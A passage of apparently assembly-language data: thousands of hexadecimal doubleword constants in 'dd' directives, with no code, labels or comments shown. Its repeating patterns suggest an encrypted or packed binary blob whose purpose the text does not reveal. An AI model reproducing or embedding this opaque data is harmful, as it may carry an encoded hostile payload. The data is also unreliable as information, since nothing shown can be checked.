0D53C39C5h, 9EA17EC6h, 94BB7481h, 8E28812Fh dd 598F969Eh, 22340679h, 12F79169h, 87521566h, 443207E0h dd 223FFC66h, 8F781566h, 6E2660F9h, 0F9A958BBh, 9CB12242h dd 649E0D8Fh, 69B7D307h, 2340677h, 0A954E006h, 205A74BFh dd 70C883A8h, 555FA099h, 0AE3D1375h, 11321567h, 25B7989Fh dd 0BC34065Ch, 0A352C599h, 3B0366ACh, 883AFD11h, 0FCA81566h dd 467B93A3h, 1681117Dh, 0DBB743Fh, 422881C3h, 2232188Fh dd 2142BE66h, 6AC3EC2h, 42122D67h, 0E4C7086Eh, 223F4E3h dd 0E0CE5360h, 0B8952FB0h, 2226FD06h, 17FA1566h, 64AEB86h dd 656DCC9Dh, 0E76227F5h, 0C6499FC8h, 4AB96C04h, 0B48D1A38h dd 4F87EA07h, 71340677h, 40E0959Eh, 0E9B79807h, 4234065Ch dd 0D6851A9Ah, 70E2EA07h, 0D08790EFh, 0AA3D137Ch, 1132156Bh dd 88321D8Fh, 83BC3966h, 0C564303h, 0F0B7D3A2h, 0CE340677h dd 4432058Fh, 243B7666h, 1B8F2C31h, 9EE3B07Fh, 8A6E8C27h dd 86327DE9h, 1CDB879Ah, 0A3321566h, 0FEB24A14h, 0ED894E0Ch dd 29588C61h, 8832048Fh, 0F2526266h, 86DF44AAh, 0FC818B70h dd 1DBF22B8h, 0F1CD5510h, 2421040Bh, 1121FC06h, 0DCDC1566h dd 3F47811Eh, 0EB6EB7AEh, 795B13D5h, 1E3F3CABh, 0C1BF74BDh dd 24212FCBh, 112A9C69h, 9BDB1566h, 56321566h, 696E114Fh dd 0E1E987A5h, 0B18318D4h, 0F782C661h, 0F2CD3CB9h, 0A8B79C93h dd 71340FF2h, 55D390A0h, 2D741375h, 113214E1h, 0E25AE066h dd 0BDC4C129h, 335FA099h, 9CCE1375h, 9B08B8E3h, 42DB7560h dd 91321566h, 98827C98h, 80DB7431h, 25321566h, 2833E506h dd 0EEF7B033h, 70B975B6h, 1FE59E35h, 9FB79C07h, 0ED340FF2h dd 88289669h, 0C4521566h, 2DDAAC84h, 0BA321566h, 0C10F45FCh dd 0CA038EA7h, 3B803114h, 706B3FDBh, 99D390A0h, 4B741375h dd 22320CE3h, 1126FC66h, 11901566h, 0F7D4C719h, 0FDA4BCD3h dd 6B6A93B4h, 5593CA5Dh, 55DB87C8h, 2F321566h, 0A2F1AFEDh dd 4178F086h, 302E32C7h, 295582F3h, 0DC62F20Eh, 5EB375F2h dd 700BA8BBh, 0DD53CBEDh, 22378D3h, 90B81A60h, 0AD321566h dd 22321575h, 2DA6C4F5h, 1D2CABC1h, 6977F65Fh, 5A9DF4E0h dd 0E9C886CFh, 0B29F90EBh, 0AD521375h, 22321576h, 0E726908Fh dd 0B02CFE91h, 49DCACB1h, 3B613073h, 11329969h, 77531566h dd 55DA75B6h, 0DE321566h, 0C7366E07h, 56D23392h, 7A2CECAAh dd 0E4CC9386h, 8AF89400h, 23D4A43h, 44321562h, 1189AA00h dd 0B8B79C07h, 74340FF2h, 55D390A0h, 0DB741375h, 33462E0Eh dd 883EFCD7h, 0D51D1566h, 10568F31h, 516A094Dh, 3DCD64B4h dd 4221040Bh, 0EAB97306h, 11321E8Eh, 87F8E866h, 0F00FC8B0h dd 0B7D1DC4Ah, 4EEC9E00h, 0DBFE007h, 42212FCBh, 22219969h dd 1FDB1566h, 0DF321566h, 24BFAD74h, 0A48AC04Ah, 45CDA1E0h dd 0E8E2EAFDh, 4432108Fh, 68E76366h, 1E533DBFh, 883201ECh dd 4AB11A66h, 0CB321566h, 1132156Fh, 2CC91E2Dh, 7B74EDB2h dd 8FB79CA6h, 1E340FF2h, 883214E2h, 82CBEC66h, 3123F4E3h dd 9A3D5360h, 88321561h, 44339B69h, 4ACB1566h, 0CE4BFF8Bh dd 0D6627506h, 44321D8Fh, 5249A66h, 24549F5Dh, 354745Ah dd 0F1CD74B5h, 2421040Bh, 11269269h, 87DB1566h, 0E2321566h dd 1A4C5Ah, 0DE22B84Bh, 1BB0A0E4h, 0CF527F03h, 0A7BF749Dh dd 17212FCBh, 8832018Fh, 0EB6E1D66h, 6F27F02Bh, 0F2F86C85h dd 3684172Ah, 4B481179h, 2DE2EA60h, 113210EDh, 0E9527566h dd 0C1BB749Fh, 242881D7h, 0C3B3759Ah, 8FA9D96Dh, 0C753D2EDh dd 31256CDBh, 943D1560h, 883215F1h, 4421FC06h, 0D6DD1566h dd 54F4E46Fh, 540B91B4h, 0F0A6FC7Eh, 0DA76C943h, 0C9B97330h dd 883FFC07h, 29C51566h, 118D042Fh, 9682B288h, 4E940E38h dd 5723F4E3h, 44524660h, 0A63DD6EDh, 0D65A74AFh, 4BFCAB86h dd 22321EEAh, 9E8A7566h, 0EE01AE00h, 2565F5D8h, 335FA099h dd 17DB1375h, 61321566h, 0CE805205h, 8FB79811h, 0ED34065Ch dd 9CDBC599h, 0BB321566h, 7F380C3Fh, 6770721Eh, 0CFA0E2B1h dd 0F264326Dh, 0ABB3D2CCh, 0BA658E3h, 5FB97560h, 0E86FF2E7h dd 0E45345CFh, 223F4E3h, 7D525260h, 44349B69h, 0F4B31566h dd 3132F93Ch, 0D6B57D07h, 0CB3DD2D7h, 2232156Bh, 0D3B37306h dd 93DB0D7h, 44321566h, 4F87EA07h, 0ED340677h, 0B29F90EBh dd 4B521375h, 223217E1h, 0E8694266h, 0E8E2EA07h, 0B863DEEDh dd 0A7BB743Fh, 17288137h, 8832048Fh, 67D3A766h, 72B20040h dd 0CBB0C785h, 0E1C1C65Eh, 0F9B18835h, 2421021Fh, 71B71A66h dd 0E8321566h, 44349769h, 0C0B31566h, 592A1588h, 0E9C39E00h dd 55D390A0h, 0DE751375h, 734C100Eh, 3DCDED80h, 4221040Bh dd 8FB7989Eh, 7134065Ch, 88369A69h, 0FA541566h, 0DD5374DAh dd 168C75B6h, 610B6B04h, 44321575h, 3B2592Fh, 0B8785088h dd 0F822FD5Bh, 0ECE584C9h, 43EE6894h, 856790EFh, 4ECA137Ch dd 5723F4E3h, 0A43D5660h, 1132156Dh, 8832138Fh, 86DB6B66h dd 4A9851C0h, 83481C90h, 88321B8Fh, 8C2F8866h, 81BFD862h dd 78C76E46h, 0E8AFEFDBh, 0BCC8A269h, 4F87EA07h, 71340677h dd 61F8A269h, 4432156Eh, 0F3C7E679h, 394D7A60h, 25B79807h dd 4B34065Ch, 223202E6h, 1120FC66h, 73021566h, 0C917124Dh dd 0DFA72FEDh, 0D507EB81h, 0D0BDA4Bh, 0F152C599h, 24B61AF0h dd 90321566h, 1DABB48Eh, 0C1BB7407h, 2428813Fh, 1132138Fh dd 0EB3BB366h, 82ACAB41h, 3123F4E3h, 79C75660h, 74138246h dd 44359769h, 0A83D1566h, 11321567h, 0E587EA93h, 0AD340677h dd 22321575h, 0EF7FAB92h, 0D2E7325h, 0E2D5A04Fh, 1F402471h dd 9C543745h, 9B08B8E3h, 0C5547560h, 2D85AFADh, 113211E0h dd 0C1887366h, 94CD74A7h, 223A9869h, 993D1566h, 88321564h dd 0C1BB7406h, 2428813Bh, 688F969Fh, 88340671h, 44D49069h dd 0A83D1566h, 11321561h, 88339669h, 0ADCA1566h, 22321574h dd 0AAB5D648h, 48B49F3Dh, 952CB764h, 0C4F0BC9Fh, 94F4E6C5h dd 8E210487h, 475AE025h, 42B915CEh, 1CDA439Ah, 1F321566h dd 0BBEB4E26h, 0A4D77145h, 87AEFD0Fh, 87534A3Dh, 443214ECh dd 97CDEC66h, 1721040Bh, 8832068Fh, 7A636A66h, 111BCE57h dd 0C6F80076h, 684852BDh, 8538E044h, 189F90EBh, 0EECA1375h dd 9DB31AB6h, 24321566h, 22321E8Fh, 2A484D66h, 26EFB4B9h dd 31ABCDF4h, 43C19E00h, 855790EFh, 8752137Ch, 443217EEh dd 43E39E66h, 0D390A0h dd 61711375h, 44321569h, 0CC44DE0Ch, 1882FCAAh, 45EC1663h dd 2CDBBE29h, 0C76923B3h, 7C87EA9Fh, 71340677h, 7E9F90EBh dd 0DACA1375h, 71C7C599h, 8956AC00h, 0B520AB00h, 43B79C07h dd 0E8340FF2h, 99D390A0h, 0B1711375h, 2222FD06h, 0AD1F1566h dd 0D6E3681Fh, 116AE25Bh, 10F4118Dh, 49CE9323h, 8832138Eh dd 716D9866h, 2D99030Dh, 7068DED1h, 2200F40Eh, 0C554758Ch dd 4383ADB9h, 258CAF06h, 57B25F53h, 0F1CD7435h, 2421040Bh dd 113E9B69h, 0F3D1566h, 44321560h, 22329569h, 963D1566h dd 8832156Eh, 44309C69h, 43521566h, 2B9F90EBh, 0F3D1375h dd 44321567h, 0DAE2EA93h, 855B90EFh, 84DB137Ch, 15321566h dd 0ABD108E0h, 0E760B0B6h, 4EE9A013h, 5723F4E3h, 4ACE5660h dd 95C3B951h, 3547593h, 0B88873B8h, 97CD746Ch, 1721040Bh dd 88269669h, 4BDB1566h, 8C321566h, 0BCE73E57h, 88B708EEh dd 94710577h, 445279B9h, 0A43825DCh, 0DBF74EAh, 42212FCBh dd 0F2CDEC9Fh, 7CB79C9Eh, 87340FF2h, 443214EAh, 0A352E066h dd 6AD770A1h, 8837FD32h, 75EE1566h, 7401E16Fh, 0D7534E38h dd 9B23F4E3h, 2CCB5A60h, 0B50785B2h, 1132068Fh, 76B4F566h dd 978111A0h, 7BCAFBAh, 7B8A3C38h, 0DB2838B7h, 555FA099h dd 75521375h, 70694A31h, 0B29F90EBh, 0BBCA1375h, 0A7BBE9B6h dd 17288117h, 88339469h, 82C71566h, 3123F4E3h, 77525A60h dd 0EEF245DCh, 25840ED8h, 4C3C170Eh, 0AA54759Fh, 0F3DE695h dd 44321566h, 4F87EA07h, 1E340677h, 883218E9h, 443AFC66h dd 207E1566h, 152DABD0h, 0DBF1A1Ch, 42212FCBh, 21B91A06h dd 91321566h, 46B9C9BBh, 9FB37507h, 2A158064h, 0EE53E7EDh dd 35475B6h, 25CC9E9Dh, 0B64790EFh, 0D7CA137Ch, 9B23F4E3h dd 4ADB5860h, 60321566h, 3DA3571Eh, 62382192h, 0F53A5F7Ch dd 5B7B7DC8h, 9E3DDD51h, 8832156Eh, 44309069h, 43521566h dd 5FA099h, 0C3D1375h, 4432156Fh, 447AA406h, 0AA10C6E7h dd 25B79807h, 4B34065Ch, 223214EBh, 0C1CDE966h, 6CC39406h dd 0B868776Dh, 5FB79C07h, 71340FF2h, 0F3833EDCh, 41DB4753h dd 8B321566h, 3C5DF15Dh, 0DF47438h, 42210487h, 0E68A752Bh dd 1E7B8AFDh, 0E053EBD9h, 98C558EFh, 223A9869h, 953D1566h dd 88321564h, 0F1CD7406h, 2421040Bh, 113E9169h, 43D1566h dd 44321560h, 22329C69h, 94BF1566h, 8E212FCBh, 4432138Fh dd 9DF69A66h, 0EE72D4EAh, 883CFCB6h, 0A4631566h, 81E0BF35h dd 9E9280D9h, 655C021Bh, 44321B8Fh, 0BF941866h, 0E8FA4DF2h dd 0D0458144h, 0CDA429B3h, 38A66CE3h, 94F4E960h, 8E210487h dd 735AE933h, 0CBAE0E4Bh, 11321572h, 666EACB3h, 0FDDA89BCh dd 3C79FC0Fh, 9FA1A8FEh, 0B8C472BAh, 555FA099h, 2D521375h dd 7761DDD9h, 0E96DDAEDh, 7E9F90EBh, 0A13D1375h, 11321570h dd 8832048Fh, 0BB613666h, 0CD3D4C9Bh, 35D920B9h, 9AF26373h dd 94CDE25Dh, 710AB06h, 0A63D104Ch, 0DBB74A1h, 422881E7h dd 2238FC06h, 0F7E31566h, 0FE858F56h, 0E8460054h, 0CCABC3E7h dd 0F853403Fh, 88321575h, 3996579Bh, 0CC5ECE08h, 90EEC54Ch dd 0E296D4EEh, 823402E3h, 3123F4E3h, 17DB5660h, 57321566h dd 92F91F91h, 0D2187DE7h, 0AE52C7B3h, 0B1192F90h, 0BB53AAD2h dd 312378D3h, 94BFEC60h, 8E212FCBh, 0CAFFAD06h, 33DB4AC7h dd 0E1321566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h dd 61E2EA07h, 44321560h, 61806351h, 94BB885Ch, 8E2881E3h dd 0A5B7D39Eh, 70340677h, 14B01A06h, 0EE321566h, 5023F2E7h dd 2232068Eh, 0B885D666h, 49D14066h, 2B19760Bh, 0C886466Ch dd 651E04E2h, 0ACACAA00h, 0AE5A7439h, 0CBCF57D2h, 11321563h dd 4944E140h, 2987EAECh, 2D340677h, 113219E2h, 8EB81A66h dd 4B321566h, 223215ECh, 9E3D7566h, 88321568h, 44321C8Fh dd 0CF6B6E66h, 74A22F7Ah, 4AB9B56Fh, 0E9B79807h, 4234065Ch dd 43C79537h, 0D8D733Fh, 4BDB7437h, 5B321566h, 8E771085h dd 0DCF38D34h, 22144753h, 0F2CDB73Fh, 113D9769h, 82DB1566h dd 63321566h, 306A3B96h, 66C48185h, 0E9B79CFCh, 24340668h dd 43EA9400h, 0C3851A47h, 87CA7507h, 443215E3h, 0A7F47466h dd 17210487h, 115AE021h, 0BCD08D3Fh, 335FA099h, 77521375h dd 8C45CDE7h, 4432078Fh, 34CF3F66h, 9CF85EE3h, 43B6410Ch dd 61E4929Eh, 437DFEB0h, 2B9F90EBh, 77CA1375h, 0FD6375B6h dd 622597EBh, 0A2B1AA38h, 1530AF5h, 5EA69CE3h, 2D527560h dd 113215E9h, 0E9F99E66h, 0A5B7D307h, 65340677h, 48657506h dd 7053CAEDh, 24F07D07h, 0A23DA49Bh, 11321567h, 0E587EA9Ah dd 0BC340677h, 8FB7989Eh, 0E934065Ch, 0EE52C599h, 4B1CDBDCh dd 223216E7h, 0DE8D1A66h, 5B79C07h, 24340FF2h, 0C3B7D307h dd 56340677h, 88321B8Fh, 81479366h, 1A6F5F97h, 0F2C47DEAh dd 0E0B375BEh, 9B94EB72h, 0CAB37306h, 0A854DE94h, 7753F13Fh dd 572378D3h, 223BFC60h, 97A01566h, 0AD56767Eh, 0C9CFC92Ah dd 3108B8E3h, 0C1CDE060h, 88379969h, 4B521566h, 0AB53D5D9h dd 0BA684E3h, 82DB7560h, 0DC321566h, 0E52DE23Ch, 3672E61Ah dd 883CFDD3h, 0E3D81566h, 45FA332Ah, 7048EBB4h, 4ECD83EFh dd 1F1CC3E6h, 0C3B7D307h, 4E340677h, 7FDC9406h, 255DB72Eh dd 72C07D0Eh, 0A4CDE0F8h, 8E21040Bh, 44321D8Fh, 21698766h dd 0FC385CB2h, 25B798E9h, 2434065Ch, 0F2CD7493h, 113A9269h dd 0C3D1566h, 44321564h, 0A7BB7406h, 172881F3h, 8832068Fh dd 3A778F66h, 2AC15153h, 7316B726h, 81E868DEh, 42E9ED09h dd 33D390A0h, 1E7D1375h, 883201ECh, 443DFC66h, 73471566h dd 6C88D032h, 876C46B2h, 7CDFA87Ch, 590D7D5Ah, 9B3DD29Ah dd 88321567h, 2987EA9Eh, 42340677h, 0D7B3DFEDh, 0B5567C87h dd 0E9B79807h, 2D34065Ch, 113205E2h, 8839FC66h, 0D92C1566h dd 0D71820FAh, 0CDFE46E4h, 61E2EA1Bh, 4432156Fh, 4F32446Fh dd 24AB0D0Ah, 49B79C63h, 0AD340FF2h, 2232156Fh, 327784CBh dd 0CB7097CCh, 0C1F4E06Ch, 24210487h, 1137FC21h, 0B6131566h dd 0AD1B5D67h, 2232156Ah, 79583C76h, 0DF45BCD2h, 0C73C2D6h dd 795C590Eh, 948B759Ch, 876BC82Ah, 443215EDh, 97CD7466h dd 1721040Bh, 8832078Fh, 8F5BAE66h, 0EE258E89h, 69351DA6h dd 51305437h, 0C9886B16h, 3108B8E3h, 90527560h, 0DCA5B6BFh dd 0BCB97303h, 0F2CD7407h, 1132128Fh, 3F56F066h, 18AC5C76h dd 0B6F790EFh, 1EDB137Ch, 0C2321566h, 0ADD1A84Eh, 130ABD5Bh dd 7A074AEBh, 0DF4BE70h, 42210487h, 28B21A21h, 71321566h dd 88329369h, 25521566h, 6FF7D07h, 0EECED660h, 9B2378D3h dd 0C1BFEC60h, 24212FCBh, 0DBB87593h, 0E990F3E6h, 0C43DC599h dd 22321567h, 0D8B79C93h, 7D340FF2h, 44369669h, 0DE521566h dd 94F4749Ah, 8E210487h, 0F33D7539h, 43D89FB4h, 0AA52D90Eh dd 3DCDE9B2h, 4221040Bh, 8FB7989Eh, 0E434065Ch, 53DC599h dd 44321561h, 22339769h, 98CE1566h, 92A68CE3h, 0C1F4ED60h dd 24210487h, 1122FC39h, 70AD1566h, 2FE91E0Dh, 1347BF2Ah dd 0BC6D6026h, 0C65A2B1Ch, 0ADACFC32h, 22321577h, 4572DFA2h dd 9BE8EA1Ch, 0F5ADAFC9h, 8902C8DDh, 7C87EA4Eh, 71340677h dd 7E9F90EBh, 0DDCA1375h, 1121FCB6h, 6921566h, 0A6AB1A55h dd 0D8D35ECCh, 0EBF598CFh dd 0BC768D39h, 0D9B79CBCh, 0DA340FF2h, 0D390A0h, 876D1375h dd 44321DE1h, 20B01A66h, 71321566h, 0A07A7D07h, 4EDBC475h dd 45321566h, 979C9C8Fh, 6516964Ah, 2987EA9Fh, 0DB340677h dd 2B9F90EBh, 0E8521375h, 4FDB7493h, 21321566h, 0E8A6E927h dd 479ECC70h, 0BB535E88h, 2220FCB6h, 48F71566h, 1CAE53A1h dd 4E27C53Fh, 3E9B1E87h, 0E5E5D830h, 1C9390EFh, 4B52137Ch dd 223213E1h, 11BD1A66h, 0E9321566h, 2CCE110Ch, 22320566h dd 1327D93h, 87521566h, 9AB9EFD9h, 0DB327F07h, 0C9B8099h dd 43D1375h, 44321573h, 223D9C69h, 1BDB1566h, 36321566h dd 828E716Ah, 0BCE9E5DCh, 0CB79C58h, 0E8340670h, 44349A69h dd 0A33D1566h, 11321566h, 0E9E49E00h, 3BEF90EBh, 0DDC7137Ch dd 3BE1AB6h, 61321566h, 4432156Bh, 172206F3h, 0EA528720h dd 64B1219Dh, 0BD367FC6h, 2222150Eh, 115AED66h, 87321546h dd 44321FEDh, 0C3B27566h, 0DEB37309h, 0E253B2FCh, 0D1CDEC66h dd 242108CFh, 15B61A06h, 0EE321566h, 0C480ECD8h, 2D5308BBh dd 113214EBh, 0DBBED66h, 42210B93h, 22321A8Fh, 0D7EF066h dd 622DF1CDh, 39B20D3Bh, 0D6A579B4h, 1F8B90EFh, 0C3D1375h dd 4432157Fh, 2232018Fh, 0AEAE8A66h, 0FB0EF572h, 3651ABD4h dd 0D25D1C1h, 0CD066387h, 0E8727FA3h, 0B7F4CDDCh, 0FB851A7Eh dd 1327D07h, 61521566h, 44321574h, 5DCAC669h, 6847775Dh dd 5375F7C2h, 0C61148F1h, 2BDA0BA7h, 46321566h, 0B4B2C461h dd 165E6AF5h, 4A534E9Fh, 11331566h, 88339569h, 2ECE1566h dd 70C77566h, 84CD743Ch, 8E2108CFh, 4432108Fh, 8F722C66h dd 1ADB05E3h, 57321566h, 5C125F44h, 7FF6708Bh, 94BBBEE4h dd 8E211977h, 0FB547506h, 44537295h, 9A53DFEDh, 9B2D24D3h dd 4422FC60h, 0BA2E1566h, 28DA43Dh, 31950804h, 466A6B78h dd 0BFB9152Ch, 1721052Fh, 1879C9Fh, 2434067Fh, 0EA685ADFh dd 8CBB745Dh, 8E2103F7h, 442A9C69h, 2D521566h, 113215E8h dd 8839FC66h, 807A1566h, 3B03D9F0h, 3DCDE9D4h, 15B9740Ch dd 4221052Fh, 24B81A06h, 1E321566h, 883215E3h, 4422FC66h dd 0FDD11566h, 1C4807FFh, 0FABBF00Fh, 0D9920603h, 0DA5321D8h dd 1130120Eh, 0AC269C66h, 443215DCh, 0A9E81466h, 77524F6Ch dd 0F44CF7E7h, 22537506h, 503DDAE7h, 9C3D7407h, 8832156Ah dd 44349A69h, 0A23D1566h, 11321566h, 8732ECE5h, 4405BEE2h dd 0E1B97566h, 6719AB00h, 6FBB4207h, 4436D2E7h, 0CDB11566h dd 350E9262h, 0AC369C3Ah, 4438FD06h, 88AA1566h, 0FC94C8CFh dd 444B9815h, 4BDB4A93h, 7E321566h, 4E938417h, 0A56DE05Fh dd 129EDF6Eh, 7553E67Bh, 0D6B3F2EFh, 88321562h, 0C336FAE5h dd 0AB6E315Ah, 963D316Ah, 88321567h, 0C452759Eh, 2EDBFBA6h dd 55321566h, 0FE9401D3h, 0D9807535h, 43E5602Eh, 98C7D557h dd 9B19D0E3h, 0FC62EC60h, 2232155Ah, 15B9D3EFh, 8CF69442h dd 0AD321566h, 22321569h, 0E5197F8Ch, 0A1C00943h, 0A3DFC7C2h dd 0A38C3048h, 0DC4BC6A0h, 0CADC946Eh, 474E5A5Eh, 0A3123112h dd 5E0A57A0h, 5BDC941Ah, 4B3AD81Fh, 22321BEEh, 113BFC66h dd 98E71566h, 0C51452A1h, 4450E1D4h, 0AA61ECCBh, 0DE665A5Bh dd 4769CD4Fh, 27123122h, 47665A5Bh, 37D79F06h, 6912142Bh dd 5A894607h, 10321566h, 3019EA5h, 80B3317Ah, 22321562h dd 11339569h, 9CE1566h, 0A1760DA0h, 28F4940Eh, 1255EF37h dd 9123112h, 0BE631F88h, 3ADC9401h, 1E5AF022h, 883214EEh dd 0FC62EC66h, 2232157Eh, 76DB063h, 0A5C2147Ch, 5E244AC3h dd 0DA6A2DEDh, 1633A8EFh, 87521375h, 443213E3h, 22B11A66h dd 0E4321566h, 87CD9007h, 443221E3h, 9CDAE066h, 1E321538h dd 883219E9h, 42BC1A66h, 2D321566h, 113215ECh, 8C8DFC66h dd 56DB1566h, 0CC321566h, 0A32BA1Fh, 0D0D3AC56h, 533730E9h dd 67C61EE0h, 20967D4Eh, 84BB1566h, 4DBC1A42h, 42321566h dd 77F09E00h, 0E9DFB9DEh, 4432E00Eh, 60E9C66h, 0C359ED3Ch dd 93B31A62h, 4B321566h, 223200EDh, 1122FC66h, 7ECE1566h dd 0EEF64989h, 8C75EA7Bh, 3E646B92h, 1DBB4F10h, 42211043h dd 22339B69h, 7BCE1566h, 8826FC62h, 62861566h, 8900F146h dd 1EFA4B44h, 0CBDD1682h, 0CCE46507h, 225A23FAh, 1E321576h dd 883205E3h, 43DB7566h, 51321566h, 0F11F320Eh, 0E952FB39h dd 0A2BB4307h, 2236D3E7h, 0FFB11566h, 0AC069262h, 60269C3Ah dd 0CB327F9Fh, 11321576h, 8DD9A174h, 7D1BA4FBh, 7FC17229h dd 56346CC1h, 959B8099h, 54DB1375h, 2F321566h, 5516B906h dd 86D8B366h, 0F9AB05C1h, 0AB9B09CCh, 23F3CE3h, 952E060h dd 1D297BA5h, 41E99457h, 701101DFh, 88294E0Eh, 60369C66h dd 0BB1621E7h, 4B1A331Fh, 0F1ABE7E7h, 55DB3D40h, 30321566h dd 5AFC7539h, 40521C43h, 0CE183D77h, 0F21B33B9h, 461619EDh dd 4FB3F2EFh, 44321562h, 0A536D2E5h, 716E315Ah, 6E1DAB00h dd 44349F69h, 0A93D1566h, 11321566h, 8837FC07h, 3D5D1566h dd 0CA1DC298h, 1132482Bh, 883C9D69h, 4DDB1566h, 10321566h dd 767C900Dh, 0BB44A2Eh, 44361F0Eh, 6069C66h, 1EB81A06h dd 61321566h, 4432156Ch, 576F9CE0h, 0A014A2ACh, 25531CFAh dd 44339769h, 75CB1566h, 0F17838D9h, 0D7CA1459h, 60165165h dd 0C278384Bh, 19B11A59h, 87321566h, 443217EFh, 0A1537566h dd 15BB118Ah, 0D76A4242h, 443DFD06h, 9ED11566h, 88E238B1h dd 82EED69Bh, 112E03C4h, 2234FC41h, 35441566h, 7E5D5290h dd 46B51A38h, 0A9321566h, 4264749Eh, 56BBEEEFh, 1AC19C3Dh dd 0C2BB459Fh, 11321163h, 8CDA9666h, 181611E1h, 0CB1629EFh dd 11321561h, 2F0DD680h, 244C81EDh, 2DF22507h, 113202EEh dd 7C817566h, 44321B8Fh, 7322BA66h, 12C68C4Fh, 0B15E0919h dd 251E2C52h, 42CF60C8h, 11BE1A9Fh, 0E9321566h, 6006EA93h dd 26F69438h, 1E321566h, 883214E4h, 83B3E966h, 487608A9h dd 636CFAE7h, 571B16B5h, 366CD2E7h, 0CDB316B5h, 7B7608A9h dd 88369369h, 14521566h, 0E85A743Eh, 98321551h, 0D9C73172h dd 8EBBECEFh, 0A31619EDh, 113211A2h, 8826FC66h, 89E41566h dd 45633331h, 0F77A0DF3h, 9F8EB66Fh, 0FF524791h, 9FB92934h dd 1721037Bh, 77CDAC9Eh, 4DDBEA99h, 1D321566h, 0D24AEC28h dd 8E10160Fh, 2252D557h, 43CBE5EDh, 1132AE35h, 7B331566h dd 4432AC37h, 0FB331566h, 4A6B14ECh, 88321C8Fh, 516E7B66h dd 48119018h, 0D90216CCh, 59851A06h, 0FC62749Fh, 22321567h dd 0E86AD367h, 3B52199h, 80B13162h, 0CB527562h, 1132156Ch dd 0A93BD137h, 1DAEF473h, 1483B5AEh, 0F8F37407h, 4903E96Eh dd 44321E8Fh, 0E7EE2166h, 0F9EE7C14h, 0C953179Fh, 0CDB71A2Ch dd 0DBCDEA99h, 35369E37h, 8836D1E7h, 14CA1566h, 0D5684D34h dd 1E5287B4h, 883203EEh, 4423FC66h, 0D9741566h, 0E140F737h dd 41D95DE5h, 0ABFDA6C6h, 0A8E71A79h, 5B97488h, 6ABB4742h dd 4436D7E7h, 0E0B11566h, 35269262h, 80DBED3Ah, 53321566h dd 4564B312h, 79B7E7E6h, 88326A36h, 0CB1611EFh, 9A62ED64h dd 11321562h, 0C2EEFFE7h, 86330265h, 68EED7E7h, 1E6A0265h dd 883200E5h, 0F98B7566h, 0CA74EF8Eh, 1132156Eh, 0FEE8DD45h dd 9B8AB139h, 0AA5A743Eh, 98321510h, 0A3D3172h, 4432156Fh dd 22BD1A06h, 0ED321566h dd 4DB7EA07h, 0AD34064Dh, 22321575h, 0EC8659FBh, 0C58D9E56h dd 89CF1E93h, 34F85F8Ah, 0E9D4DAD2h, 0A3F780EDh, 7DCA1375h dd 313514F3h, 63B61A60h, 7D321566h, 171601EDh, 0E1B3F6EFh dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223214E3h, 25CDEC66h dd 4CB34B42h, 44321562h, 22321B8Fh, 0FA3B2B66h, 0FDD8B29Eh dd 3DEEBD17h, 7319303Bh, 113211DFh, 96DC9466h, 453A8420h dd 3CF494A8h, 483A8420h, 738D1A06h, 3E24AE00h, 0DF34FC07h dd 9A3DEA99h, 88321577h, 4432198Fh, 0D79A8566h, 9170149Eh dd 0B20D3561h, 6006EAB7h, 26F6943Ch, 0F8321566h, 88321575h dd 0E0B7ACAAh, 0BB512EC8h, 0FCDE4B78h, 55E910F7h, 0BBF65BF6h dd 0A36C3152h, 113211A2h, 86BE1A66h, 24321566h, 22329A69h dd 9C3D1566h, 88321566h, 0CC3D7407h, 2232156Ch, 52E59406h dd 0D935A4A3h, 70CD743Dh, 0E6B14C42h, 1CB31A62h, 0E8321566h dd 57D19400h, 6D894DEh, 705A5DE6h, 88339769h, 0CFC71566h dd 0AB653162h, 15F59481h, 0B321566h, 78B511A1h, 0E5CB4942h dd 233B0E3h, 88321560h, 0C1F5EC66h, 242131AFh, 11321566h dd 88321B8Fh, 9459AA66h, 18FCF4B1h, 1E99701Ch, 0B7178C7h dd 5EA61CDBh, 0A63D1560h, 11321549h, 883E9A69h, 0CB3D1566h dd 22321560h, 11329B69h, 15BF1566h, 422B8CA9h, 2232138Fh dd 8589B766h, 70F49908h, 0F452C699h, 0D2B373F1h, 0EE536D6Fh dd 9B3714E3h, 82B37560h, 58E605B2h, 1132108Fh, 3C2AB466h dd 0C7534A7Fh, 313714DBh, 933D7160h, 88321701h, 45B7D29Fh dd 23340663h, 0F8321566h, 88321560h, 0C6F6E19Ah, 0CB52A62Ah dd 1132156Ch, 5BA5B4BFh, 8805D226h, 0AC3DA006h, 11321567h dd 58B7989Ah, 0AD340F1Eh, 22321574h, 33413930h, 0DBB68970h dd 0E1419028h, 0BD8C23F5h, 0C1CD0D33h, 8832058Fh, 0C8AF5B66h dd 0EAB5EF39h, 0CF734068h, 4664705h, 4421FC22h, 5D981566h dd 214BCC9Bh, 0B7392A51h, 2DB584D9h, 0C69DAB9h, 0C88798F7h dd 0E8340FF2h, 44321C8Fh, 0B0E2D566h, 36AC777Ch, 553B1D5h dd 5F2F48DBh, 0EAB37560h, 3AEFE474h, 0E9EAAA69h, 4432108Fh dd 414D6566h, 0D6B3961Bh, 0A76453C9h, 6AFBD2E7h, 0D51B29DEh dd 3FFBFAE7h, 67B329DEh, 6B6453C9h, 223AFD06h, 0C9A81566h dd 0A1B9DFF7h, 0F78D6E25h, 7D44E7AFh, 0E9BB4507h, 1F39C37h dd 246A4CACh, 7BB5C7E7h, 70CA5210h, 9E2FA8EDh, 22521375h dd 0F5B3D4EDh, 42627F34h, 77CDAC07h, 75C7EA99h, 9860EDA6h dd 11321566h, 0E1C3D7E7h, 0B6334907h, 4BC3FFE7h, 13B84907h dd 4002E93Ch, 0FAC19406h, 0CA7C4307h, 1132156Ch, 272A673Ch dd 1DA5620Fh, 2BDA9EA7h, 3E321566h, 84D251E2h, 6005080h dd 73534E3Ch, 0EECDEADFh, 0D1FC3C99h, 0C306EA9Eh, 0A11611EDh dd 9C3D11A2h, 88321571h, 443CFC06h, 0D7E21566h, 2A06E656h dd 0FD3300A7h, 4CD7BB00h, 0E353D3EDh, 0F9521D8Fh, 8832156Eh dd 74F0CE52h, 4507A600h, 488FDCE6h, 61F32407h, 44321569h dd 0D8F598CFh, 25768D39h, 40AEAFBCh, 0E06E5EBh, 0DD6B9069h dd 43C7EA99h, 0D060DFEFh, 45B61A3Ch, 0DA321566h, 11385B0Eh dd 0AC369C66h, 1C160191h, 2232188Fh, 0BFC6CB66h, 32A49FADh dd 16613D46h, 0A70BD8C2h, 17210023h, 